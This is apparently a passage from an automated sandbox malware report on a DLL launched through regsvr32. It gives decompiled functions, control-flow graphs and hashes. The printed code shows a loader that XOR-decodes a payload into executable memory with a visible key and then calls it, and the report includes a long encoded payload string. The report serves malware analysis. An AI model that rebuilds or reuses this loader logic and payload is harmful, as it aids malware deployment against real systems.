                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _invalid_parameter_noinfo_noreturn
                                                                                                        • String ID: +0+u925Vs293halq2xFL/39kJTHsOzWdZ054+U93Q8gaJSB60furZDQIwEJsyxpSPbQHccgaVQ0xS1urZExdZEJsyyoq5pr/u8gaLfZDuZGrZFQNLkJswSIyz8srjpiGUZ79rmjlbFTmMyWtqmzcfU3BIS5q0yFbRq5uIbgoEQbnDxDebS2LCT7mFnAcr4Cf3szVPYVsSuZQo5YBRKC5W1Q8gCsTCyptdg7hR8/pOSrBITZpHt1wYyYgrD6FykNsyyIq$/64khElvUgl6R26rpRepdkJsa9hVOGKFhEbqSlU8R6noBeNtdkKs7m9VgBXFYQqoFnAUNTDxDbjhUpJsSm+i2evqQMD7doQ8R24HpRe9dkJsCebRHPoAREnXVxUsQ+/oBeNtdkJe65Cq+YYklElvUlm980q8ITNtkP5oSqgRHE5nIUlv0yAYIwDp7trmOmYIvY7td8bECmKlg70/ja+FJ7ohUibtPksxOu7dRY4rdjR8TW5s4F9JFkWtJks1O6t0YCmw$0yEU71VgIbgoXgbnB0/ebRqLCVHmFnAcr0333szVBAZsSoYcw9X/gwx3fKk8R68JOTfsA1pve2JV/28gkalvUpVZZ2ztVBModEhswSp1s28YrNfKrav7AnZF5DNt9wd0WcpVOGKLnCIqSkG1AnatTCtm9zd0WEpmP6t1XFWwaFP7Ak5rITNt9w9Ma0JsqOtlZFnkH3R9/7stPOcs/YKbqy7e+GaLh2Klg70/ja+FJ7ogVoMBamTUTQoqyk9vlREMCMFs$264xHB4EhS1LZlb9K0pYI7IZUnYj32xV/24kdBzmUlT9I0pcJbIZUnK8IxSeuV4kdLWj8mW9M0pc1bSzjIUobldsRCoAxQVLagO31+LtVRdVaEj5xqgRHEKISElvkzgYL2bnZRcFdYLlDks9+U4kLEfuJnBUZAJvIbgpUirnDktts24kdMIrdmDUWayT3nvkc/EBSG/vPCsARAHkmRy/gz43acyNuo6gAuy5IO1EYGkaaVQ8gCpIAXiadkIgwabebA4g$CG1PpbX9rW3ldRdN9zZIatBcOSqLAG1P2xAYZ+UgBQvmcmZfgteIf1ofBcAnVpN4Y04BSDNt9wZIakSGOCqLCG1PpbUXjb+FIvmsn0flBkt1uV4kZBvSU1S3A0pMqHdJVgrvjneW9OZAFwHsvgR1zLaEc86TiXGswytxcGKLQXyDUlT7A0osLahtdoUobiubnSoADMyvXdH9R25s5ndJRuU8Sm/tk4Cq7o4rdnwgZ639oEdJRjbE/7jUfA4wUkSQrdVw$CRP/Ulc8R25oITNtib1sStdVOCoARElvElQ8R25sITNtdkJsSm9VOCoARElvUlQ8R25sITNtdkJsSm9V+CoAREdw6Fo882ehAItsOo9NHgc8SwpwNiYIIDVRZw0NT10CAmIOL08nTUQgLSdPFhtvZwMDRVZDe09mbm9VOCoARElYYD+END1pykA+c6kfGWq+NgDgryw+V78ybbeHU2BonUxGkYQnay/rFiAMOidvQoVsITNtdkJsSm9VOCoARElvAhE8$DuUXOXrmlR+vhqOZcKNcYEEn2yAYVzkkot8tP8mUAuSk0BhdRElckpN4Y163gzNt/wZIfifeZA4w/Du3UlQBq3lsITzpSENsSlLlfCoAS815U1Q8euQ9ITNi8rtsSm9oP1EAREbrglQ8R1Me+TNtecfmS29V/24kbFabUlSEjix6k7ghUmqbq9dQeToEhaNq2wAYb+UgBRual2mmm4ZW8uvpQsAjdnyFN25sIbIpUmoGHpCquV4kbOBfoKv7A0pIrL9t$DyCSfUWrPUlvORFTH+cpTrIoGdWCSm/UTUWzemBx2RFTziuH5nYCKCxsSu4QV1JDREnkHzuEfuCPGcSMt6huwzo6uV9vL4MPMt95KOcpzvQoGYgESm/UfUWzULaQ0yFTnpL5q7goGcspTagQV1b0REnuFzsuvG5soEYCDCNGDeQQV6NFV44qPYuHR27tVFx3l+Zeyxo6XbDPDMIqPd15XKkpTvZvdkLtBwAvEkiSxQwAiVg8R+8ZTlTbTr3nDwDcfQXH$F3uB2m5s5nZejMtsSlyOgFZoRElSzTY8R2HoujFtdn8QIm9VN66GRklvbzbQR25jpbNpdkJRJJtVOCWEq0hvUmntuW5sLrYzckJsjSpCQmcARMgqReWrR27tVCSiN61eiwJCPqtFU3bcUlS9Mnm+UP9tsQdDJadVOOtta0fsJ3s+gCtjNpRtdikpRT7cfSW4Wzs2Y9V5SK0cITPsM00d45CquV8PIwBZUpN5ZFU8ITPmO2Gbq66/PKNVZ8gqccIluJGt$OKtFT9+2UlS9MmVQIzptsQeTGclVOKt1u/Ya0wT9IpFm4FaSfoMBtW3UTdVOCqJ8lREvyZxsIbIoZQ4YSm/UTTmLeUhvlREzD6RsIVgoeVnlD2DUTSVS0d1O2REzymIs4NJu/w9jiwJaO6t1Sz2c3FC3AmHlpRftdkJswSpGsW4kLAHiF0t0zipIQbgoccsobjfefdWJAG0/G996HyblZRcl/QRkwytxeKFFTwHmDnAEzipIEbgodQbnB5QRs2/3zxyA$Ptdwdl0YVm9KXDEAW311Uks9X254cTNtd15nSnNhHiocRVdvQqQyp2K8K/NlBkUMTD9VOCsbTUl0JmQ8XApDIShZWEJ3S0NVKHoAREh7VlQoc2NsNaF9BkN+Qm9HbDoAVn1gUkauSY5gUTgNd11mSnAxLyofEF9vTWApR3GeOcN7llYcS3VSODB03Ul1Zsw8XW/6ITg9dkJtQ21VMVgFdEh1WlQmM3psO1d+dlhYWG9PyjpQRVlpUkRYSm58FT9tZtBg$RKD+rqvDgCt04kJtdikpUircfTLBIVFg0xEkskBsIbIYbn+jhzuSfQpNCElv2Rkc/8ES8WKal2mmm4ZW8uvpQsAicpVZZ2ytRBNl9wdMkxNVOKt1ZK4CXVT7AkazvDNt9wdEtGFVOJM4RElv0yEUQddhIbgoXskpauQQIMJfN0lvGt0517NtIXvotjYN8hcqOCrpRLWQrZN5Z1kEITOsG2Jmyyp1X1gARMgacshJTm6rZCt5yUJsyypNy0IARMgaSgTA$TG9VuZ8oQklv0AU1R6npATVtdkRcSm/evQoGREniXhT9pmzlrBNrdkLtz09TOCpjZ0lv0+EcQW5saDlidoXpWmlVOEVvREnu10Q6R25t7DNt98d8TG9VSBb/u8jaQlI8R0N9LDOq81pqSm8ZWyoAhex3VFQ8T+XhOTVtdvrTdtl3dKHDs6iuuFC10nZqITPsw1pqSm+grApKxfx3VFQ855ROa7jobkRsSivetToGREnkx3Q6R27nrBtrdkLlDkt10BGB$Uhi3iCLn5wC/PsmnwwNxEGaJMG1PrYRwyvJIsTNtdgvnEUccs0E4DcKMEwpjGa2gabipPss0QifcUDpIzTl3Gt1EZy86abCBBsnQbr9VOCpIz/1LklQ8RybnjRfVdkJsBuThHIIAREnmKoz7B75oITNtPsscgifcUOqLwG3fUlQ8zipIEbjpUuJsSm8ZsV4kbMArdnR0zLeEKpBtdgrnT/vFOirHwG2nUlQ89N1sIXvotk3p9G9VOO1EYCEsF1Q8/Tsb$Unknown exception$gDl4v2jmxww9R27trGtsdkJ9TR3ls6dYRUlvpbUXjdYRLf2qp6tvgK68PqONHEhvUtWJH29sIRXO/0Orzz9UOCoVoklv09lsRm5sIm+RksnhGm5VON3hhaNp63Q0R27ltGNsdkLt/z9UOCpa2AlL0+FsRm5s7DfmUIXpKm5VOOG/REnu1zQ9R25r5TNtt+8MS29VM6u1JEhvUoU3QG7npFNsdkLnzz9UOCqLwRFuUlTUPNdsIXvmrgrpihsQ0dT+u7bs$h72TyyI6uJL5PsgaPViUtJHnbFzmOz2EYpSqx+1F8x+9UlS9AtnbijNtMsmk8rTUgVyBAf6T71Q8xivbLneSicMZ/UtZMirHATaDe1Q8LCMTa7ogCcMpNc/FOCqLCTaYsxy3jK+GJLo4CQrnne4gR+JRREmoFzs5tm5sSnYCDsspJe4QV3TWREmuPzs1xhsDi9FCG8MZJYCAGEfHAfLVr1Q8lgPX4F7Wc8MZ8amdMiqLAfLmFnB8zCsDqHdJTgrhD7gd$l2mmm4ZW8uvpQsDi2lU8R+/ZqTJtdg5YRG2SvbIBREnsEFQ8xtv0IDNtwi21qe7goCsARIq2gbf7wv5tITOSw0Jsy+rFOSoAcEtvUpWZ129sITTsw9JtSm/qnHMAz8z/U1Q8A+XhuTJtdsn5wm5VOKGNxEhvUt14Y14krHdJNgrlDkt90LGQREnqklu4qJOT3otbZ0Jsowmox9W4Q4VvUr1gupGT5rbld0JszfhVOOutzEhvUlu9wuZtITOE70Jsy+rd$n2tsIbLgrkdsSsxLLbbB6ZFqUlQxxtu0JDNtB3VpSqjQ8C8ARKOdUlT96qZpITNlHcekT29VZ6OFjExvUtWxj2tsIeTHiILt/6dQOCrTAbWD0+H0Qm5sIvlgWoXpmmpVOPITREnu34Q5R25UJOJvt++8T29VPOutlExvUkS98r5pITPgt01sweqFPSoAAMLimlE8R+X5+TZtdssobk+9NcEARMyvJl6E74RsIdpfjr2T8lErOCo9ejdvUlu45peT3tpw$oH9JRh+r6qvefA4wyUUvk7U5ziJIEbIZUnLBEwmgs24kdMArdmS3C0pUqndJNnGkC+Zd/24kdEg9UlS9A0pcOWCSicMobl+UGyoAxQ1LYr1nR24HZRddRcsobl/UTA4wkL1kUt94Y17lZRdd/Q5IAuRRHBnIBcAnVpN4Y15HKzNt9w5IeqOWA0+BAG1f7wjDuO8YBQPM+HUJwStxCKNEYHkn0ZAUhKKgaboxUko5AuS5cKnsBAHki7wPZ5GT5nZFTmhs$oIbFdUJsLOBVOO2F9EpvUvYkR24krGdJJinp+mxVOGSJwflsUlS9wt5vITMBtr2Ty9rlOyoAYuJjUpO5521sITEYdkLt/89WOCpN1gZx09GcRG5s7XRtdsPZ6mxVOJJQE1eo1+w/R24b8zNt98/USW9VNRJJ9Mja6lc8R8FvbYMh/U+dSG1Vs6+4R0lvG9f9Q+coBRsp/wZIaivevYoDREnk3+Q/R26EBeRsdsmkwer9OyoAf4Fg10Y/R27TIDNtdvmi$tJGrpRc9d0Js5cdVOOusYBluUlQ1zOJIcTJtdrWNi4VQsb4kFEhvUtW4Yz5tITM8IkJsIetxaCsARCHm1nBsRm5smegmHm3t/ksFOSoAsUhKUpO4YzZtITOdgUJsi8NxYCsARE3k3nBkRm5s1tJGvJOFSaXv68vBNIiGVt2wYzZtITPswmY0S29VUDQKRI7rdsA8R24uoDNt98ZI3m9VOGjbu7bu5nCoR25s45tldsnobvtVOCqLwG03U1Q8zOpIcTJt
                                                                                                        • API String ID: 3668304517-3784765536
                                                                                                        • Opcode ID: cf443c3e04b69a5cb93373053e42f0e9f6957b93af1b04948ea191b2c9287e09
                                                                                                        • Instruction ID: dbd0c13e0c404fb194b2f6f9b27925ddeec96d321fe5253aafc2c93c0f956576
                                                                                                        • Opcode Fuzzy Hash: cf443c3e04b69a5cb93373053e42f0e9f6957b93af1b04948ea191b2c9287e09
                                                                                                        • Instruction Fuzzy Hash: 5E62BD72311B4885EF46DB65D9083DDB326B708BC4F80C522BA5E1B7DADE79C698C380
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180003000 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 131COMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        C-Code - Quality: 32%
                                                                                                        			E00000001180003000(signed int __ebx, void* __edx, void* __edi, void* __esp, long long __rbx, long long __rcx, long long __rdi, void* __rsi, void* __r8, void* __r9) {
				void* __rbp;
				int _t37;
				void* _t40;
				void* _t41;
				signed long long _t78;
				signed long long _t79;
				long long* _t85;
				intOrPtr _t110;
				intOrPtr _t113;
				void* _t114;
				long long _t118;
				struct HWND__* _t121;
				void* _t124;
				signed long long _t125;

				_t127 = __r8;
				_t120 = __rsi;
				 *((long long*)(_t124 + 0x10)) = __rbx;
				 *((long long*)(_t124 + 0x18)) = __rdi;
				_t122 = _t124 - 0x9c0;
				_t125 = _t124 - 0xac0;
				_t78 =  *0x800d81f8; // 0x68308725f9ca
				_t79 = _t78 ^ _t125;
				 *(_t124 - 0x9c0 + 0x9b0) = _t79;
				_t118 = __rcx;
				if (__edx != 1) goto 0x800031e5;
				 *(_t125 + 0x30) =  *(_t125 + 0x30) & 0x00000000;
				_t37 = ShowWindow(_t121); // executed
				if (_t37 != 0) goto 0x80003050;
				GetLastError();
				__imp__CoLoadLibrary(); // executed
				if (_t79 == 0) goto 0x8000320e;
				r8d = 0xa2c;
				E00000001180015E10();
				 *(_t125 + 0x38) =  *(_t125 + 0x38) & 0x00000000;
				E000000011800024B4(0, _t79, __rbx, _t125 + 0x40, __rcx, __rsi, __r8, __r9); // executed
				if ( *((long long*)(_t79 + 0x18)) - 0x10 < 0) goto 0x8000309b;
				_t88 =  *_t79;
				_t40 = E000000011800024B4(0,  *((long long*)(_t79 + 0x18)) - 0x10,  *_t79, _t125 + 0x60, __rcx, _t120, _t127, __r9); // executed
				r9d =  *((intOrPtr*)(_t79 + 0x10));
				_t41 = E000000011800017A0(_t40, __edi, __esp,  *_t79, _t125 + 0x38, _t125 + 0x30, __rcx, _t120, _t124 - 0x9c0, _t88, __r9);
				_t110 =  *((intOrPtr*)(_t125 + 0x58));
				if (_t110 - 0x10 < 0) goto 0x800030fd;
				if (_t110 + 1 - 0x1000 < 0) goto 0x800030f8;
				if ( *((intOrPtr*)(_t125 + 0x40)) -  *((intOrPtr*)( *((intOrPtr*)(_t125 + 0x40)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x80003212; // executed
				0x8001488c(); // executed
				 *(_t125 + 0x50) =  *(_t125 + 0x50) & 0x00000000;
				_t113 =  *((intOrPtr*)(_t125 + 0x78));
				 *((long long*)(_t125 + 0x58)) = 0xf;
				 *((char*)(_t125 + 0x40)) = 0;
				if (_t113 - 0x10 < 0) goto 0x8000314e;
				_t114 = _t113 + 1;
				if (_t114 - 0x1000 < 0) goto 0x80003149;
				_t115 = _t114 + 0x27;
				_t85 =  *((intOrPtr*)(_t125 + 0x60)) -  *((intOrPtr*)( *((intOrPtr*)(_t125 + 0x60)) - 8)) + 0xfffffff8;
				if (_t85 - 0x1f > 0) goto 0x80003212; // executed
				0x8001488c(); // executed
				if ((__ebx & 0xffffff00 | _t41 == 0x00000000) != 0) goto 0x8000320e;
				_t28 = _t115 + 0x20; // 0x20
				r8d = _t28;
				E000000011800164C0(_t41, 0, 0x800d9238, _t114 + 0x27, _t88);
				 *0x800d9238 = _t118;
				 *0x800d9240 = 1; // executed
				E000000011800021D0( *(_t125 + 0x30), _t88,  *(_t125 + 0x38), _t118, _t120, _t122); // executed
				 *0x800d9248 = _t85;
				E000000011800021D0(0xa2c, _t88, _t122 - 0x80, _t118, _t120, _t122); // executed
				 *_t85();
				__imp__CoLoadLibrary();
				if (_t85 != 0) goto 0x800031e5;
				E0000000118000230C();
				if (_t85 == 0) goto 0x800031e5;
				 *((intOrPtr*)(_t125 + 0x20)) = 1;
				E00000001180002420(0, 0, _t85, _t85, _t88, _t85, _t118, _t118, 0x800ba928);
				E000000011800023F0(0);
				return E000000011800149A0(1, 0,  *(_t122 + 0x9b0) ^ _t125);
			}

















                                                                                                        0x180003000
                                                                                                        0x180003000
                                                                                                        0x180003000
                                                                                                        0x180003005
                                                                                                        0x18000300b
                                                                                                        0x180003013
                                                                                                        0x18000301a
                                                                                                        0x180003021
                                                                                                        0x180003024
                                                                                                        0x18000302b
                                                                                                        0x180003031
                                                                                                        0x180003037
                                                                                                        0x180003040
                                                                                                        0x180003048
                                                                                                        0x18000304a
                                                                                                        0x180003059
                                                                                                        0x180003062
                                                                                                        0x18000306c
                                                                                                        0x180003079
                                                                                                        0x18000307e
                                                                                                        0x180003089
                                                                                                        0x180003096
                                                                                                        0x180003098
                                                                                                        0x1800030a0
                                                                                                        0x1800030b2
                                                                                                        0x1800030b6
                                                                                                        0x1800030bb
                                                                                                        0x1800030c9
                                                                                                        0x1800030dd
                                                                                                        0x1800030f2
                                                                                                        0x1800030f8
                                                                                                        0x1800030fd
                                                                                                        0x180003103
                                                                                                        0x180003108
                                                                                                        0x180003111
                                                                                                        0x18000311a
                                                                                                        0x180003121
                                                                                                        0x18000312e
                                                                                                        0x180003134
                                                                                                        0x18000313b
                                                                                                        0x180003143
                                                                                                        0x180003149
                                                                                                        0x180003150
                                                                                                        0x18000315f
                                                                                                        0x18000315f
                                                                                                        0x180003163
                                                                                                        0x180003171
                                                                                                        0x180003178
                                                                                                        0x180003182
                                                                                                        0x18000318c
                                                                                                        0x180003197
                                                                                                        0x1800031a3
                                                                                                        0x1800031ae
                                                                                                        0x1800031b7
                                                                                                        0x1800031b9
                                                                                                        0x1800031c1
                                                                                                        0x1800031ca
                                                                                                        0x1800031db
                                                                                                        0x1800031e0
                                                                                                        0x18000320d

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: LibraryLoad$ErrorExitLastProcessShowWindow_invalid_parameter_noinfo_noreturn
                                                                                                        • String ID: DllRegisterServer$sc.exe
                                                                                                        • API String ID: 3241088666-1982255180
                                                                                                        • Opcode ID: ef640502964ed54bb64989e29d574b9d85dffd6d4929f6eec3f7d030c5443a18
                                                                                                        • Instruction ID: 032f441bedbd177d256d6fc0b5c44814b0668bc4dfda74a57285de9eb573d8ea
                                                                                                        • Opcode Fuzzy Hash: ef640502964ed54bb64989e29d574b9d85dffd6d4929f6eec3f7d030c5443a18
                                                                                                        • Instruction Fuzzy Hash: 68518B32211A8882FB86DB66E8553DE3365EB8D7D4F44C215BA5D476EADF39C28C8700
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180014E0C Relevance: 12.2, APIs: 8, Instructions: 230COMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 508 180014e0c-180014e12 509 180014e14-180014e17 508->509 510 180014e4d-180014e57 508->510 512 180014e41-180014e80 call 180015558 509->512 513 180014e19-180014e1c 509->513 511 180014f74-180014f89 510->511 517 180014f98-180014fb2 call 1800153ec 511->517 518 180014f8b 511->518 530 180014e86-180014e9b call 1800153ec 512->530 531 180014f4e 512->531 515 180014e34 __scrt_dllmain_crt_thread_attach 513->515 516 180014e1e-180014e21 513->516 519 180014e39-180014e40 515->519 521 180014e23-180014e2c 516->521 522 180014e2d-180014e32 call 18001549c 516->522 528 180014fb4-180014fe9 call 180015514 call 180015318 call 180015a30 call 1800156c8 call 1800156ec call 180015544 517->528 529 180014feb-18001501c call 18001579c 517->529 523 180014f8d-180014f97 518->523 522->519 528->523 540 18001501e-180015024 529->540 541 18001502d-180015033 529->541 543 180014ea1-180014eb2 call 18001545c 530->543 544 180014f66-180014f73 call 18001579c 530->544 534 180014f50-180014f65 531->534 540->541 545 180015026-180015028 540->545 546 180015035-18001503f 541->546 547 18001507a-180015082 call 180003000 541->547 560 180014eb4-180014ed1 call 1800159f4 call 180015308 call 18001532c call 180055ef8 543->560 561 180014f03-180014f0d call 1800156c8 543->561 544->511 551 18001511b-180015128 545->551 552 180015041-180015049 546->552 553 18001504b-180015059 546->553 562 180015087-180015090 547->562 558 18001505f-180015067 call 180014e0c 552->558 553->558 573 180015111-180015119 553->573 575 18001506c-180015074 558->575 606 180014ed6-180014ed8 560->606 561->531 583 180014f0f-180014f1b call 18001578c 561->583 568 180015092-180015094 562->568 569 1800150c8-1800150ca 562->569 568->569 570 180015096-1800150b8 call 180003000 call 180014f74 568->570 571 1800150d1-1800150e6 call 180014e0c 569->571 572 1800150cc-1800150cf 569->572 570->569 603 1800150ba-1800150bf 570->603 571->573 591 1800150e8-1800150f2 571->591 572->571 572->573 573->551 575->547 575->573 594 180014f41-180014f4c 583->594 595 180014f1d-180014f27 call 180015630 583->595 598 1800150f4-1800150fb 591->598 599 1800150fd-18001510d 591->599 594->534 595->594 607 180014f29-180014f37 595->607 598->573 599->573 603->569 606->561 608 180014eda-180014ee1 __scrt_dllmain_after_initialize_c 606->608 607->594 608->561 609 180014ee3-180014f00 call 180055eb4 608->609 609->561
                                                                                                        C-Code - Quality: 100%
                                                                                                        			E00000001180014E0C(void* __edx) {
				void* _t5;

				_t5 = __edx;
				if (_t5 == 0) goto 0x80014e4d;
				if (_t5 == 0) goto 0x80014e41;
				if (_t5 == 0) goto 0x80014e34;
				if (__edx == 1) goto 0x80014e2d;
				return 1;
			}




                                                                                                        0x180014e10
                                                                                                        0x180014e12
                                                                                                        0x180014e17
                                                                                                        0x180014e1c
                                                                                                        0x180014e21
                                                                                                        0x180014e2c

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                                                                                        • String ID:
                                                                                                        • API String ID: 190073905-0
                                                                                                        • Opcode ID: a3ccabf933008cf9a25fe59cc5a03cd1b8e099084e2b34bc02040656b02e6f4b
                                                                                                        • Instruction ID: 46036b0acad871e7ebc886a662840e6818b73d4bc7cf7e981596e346c0a8b395
                                                                                                        • Opcode Fuzzy Hash: a3ccabf933008cf9a25fe59cc5a03cd1b8e099084e2b34bc02040656b02e6f4b
                                                                                                        • Instruction Fuzzy Hash: 6181C331610E4DC6FBD3AB6598413D962D0AB8D7C5F14C125BA884F7A6DF39CB4E8710
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800021D0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57memoryCOMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 612 1800021d0-180002225 call 18002f5fc * 2 VirtualAlloc 617 180002273-18000228d 612->617 618 180002227-180002229 612->618 619 18000222b-18000222e 618->619 620 180002270 618->620 621 180002231-18000226e ShowWindow 619->621 620->617 621->620 621->621
                                                                                                        C-Code - Quality: 53%
                                                                                                        			E000000011800021D0(void* __edx, signed char __rbx, void* __rcx, signed char __rdi, signed char __rsi, signed char __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				signed int _t15;
				signed char _t25;
				signed char* _t44;
				signed char* _t48;
				void* _t57;
				signed char* _t62;
				void* _t65;
				void* _t66;
				void* _t67;
				struct HWND__* _t68;
				signed char* _t69;

				_t54 = __rdi;
				_t47 = __rbx;
				_t44 = _t62;
				_t44[8] = __rbx;
				_t44[0x10] = __rbp;
				_t44[0x18] = __rsi;
				_t44[0x20] = __rdi;
				_t57 = __rcx;
				_t15 = E0000000118002F5FC(_t44, __rbx, L"8192", __rdi, _t65, _t66, _t67);
				r8d = _t15 | E0000000118002F5FC(_t44, _t47, L"4096", _t54, _t65, _t66, _t67);
				r9d = 0x40;
				VirtualAlloc(??, ??, ??, ??); // executed
				_t48 = _t44;
				if (_t44 == 0) goto 0x80002273;
				if (__edx == 0) goto 0x80002270;
				_t69 = _t48;
				ShowWindow(_t68); // executed
				_t25 =  *(0xffffffffe157f59e + "DIoRT<Gnl!3mvBlJoU8*") ^  *(_t57 - _t48 + _t69);
				 *_t69 = _t25;
				if (1 - __edx < 0) goto 0x80002231;
				return _t25;
			}














                                                                                                        0x1800021d0
                                                                                                        0x1800021d0
                                                                                                        0x1800021d0
                                                                                                        0x1800021d3
                                                                                                        0x1800021d7
                                                                                                        0x1800021db
                                                                                                        0x1800021df
                                                                                                        0x1800021e9
                                                                                                        0x1800021f5
                                                                                                        0x18000220c
                                                                                                        0x18000220f
                                                                                                        0x180002217
                                                                                                        0x18000221f
                                                                                                        0x180002225
                                                                                                        0x180002229
                                                                                                        0x18000222b
                                                                                                        0x180002235
                                                                                                        0x180002262
                                                                                                        0x180002266
                                                                                                        0x18000226e
                                                                                                        0x18000228d

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: AllocShowVirtualWindow
                                                                                                        • String ID: 4096$8192$DIoRT<Gnl!3mvBlJoU8*
                                                                                                        • API String ID: 2690334856-1273664787
                                                                                                        • Opcode ID: 3b4317f84395129686641dbfcfecf541d751d1f178055397429bcf325bdce7a8
                                                                                                        • Instruction ID: f1bdff9bd2003ef4e38404200f4a547def54f06e04b0466acb59664e49f2458b
                                                                                                        • Opcode Fuzzy Hash: 3b4317f84395129686641dbfcfecf541d751d1f178055397429bcf325bdce7a8
                                                                                                        • Instruction Fuzzy Hash: 30112732304B4845EB56DF6AA4103997BA1E7DCBC0F49803AEE4983B55CE3CD64A8300
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018005BBE0 Relevance: 3.0, APIs: 2, Instructions: 18COMMONLIBRARYCODE
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 782 18005bbe0-18005bbe3 783 18005bbe5-18005bbfe RtlReleasePrivilege 782->783 784 18005bc1b 782->784 785 18005bc16-18005bc1a 783->785 786 18005bc00-18005bc0f GetLastError call 18005b280 call 18005b354 783->786 785->784 786->785
                                                                                                        C-Code - Quality: 72%
                                                                                                        			E0000000118005BBE0(intOrPtr* __rax, void* __rcx) {
				int _t1;
				intOrPtr _t3;
				void* _t4;
				void* _t11;
				intOrPtr _t14;

				if (__rcx == 0) goto 0x8005bc1b;
				_t14 =  *0x800da718; // 0x9b0000, executed
				_t1 = HeapFree(_t11, ??); // executed
				if (_t1 != 0) goto 0x8005bc16;
				_t3 = E0000000118005B280(GetLastError(), __rax, _t14, __rcx);
				_t4 = E0000000118005B354(_t1, __rax);
				 *__rax = _t3;
				return _t4;
			}








                                                                                                        0x18005bbe3
                                                                                                        0x18005bbef
                                                                                                        0x18005bbf6
                                                                                                        0x18005bbfe
                                                                                                        0x18005bc08
                                                                                                        0x18005bc0f
                                                                                                        0x18005bc14
                                                                                                        0x18005bc1b

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ErrorLastPrivilegeRelease
                                                                                                        • String ID:
                                                                                                        • API String ID: 1334314998-0
                                                                                                        • Opcode ID: db0521cd50eeb8e05ec9dcf635058de3cc8644c05718fc45424fbac205e6f7cb
                                                                                                        • Instruction ID: c41e9875e1d682c0c7c3179a973386dea60978202beab9044b17f8cb4a3936a3
                                                                                                        • Opcode Fuzzy Hash: db0521cd50eeb8e05ec9dcf635058de3cc8644c05718fc45424fbac205e6f7cb
                                                                                                        • Instruction Fuzzy Hash: 73E01270B0160C42FFDA6BF258953E902A14B9C7C0F04D425B909E2293ED1997CE8394
                                                                                                        Uniqueness

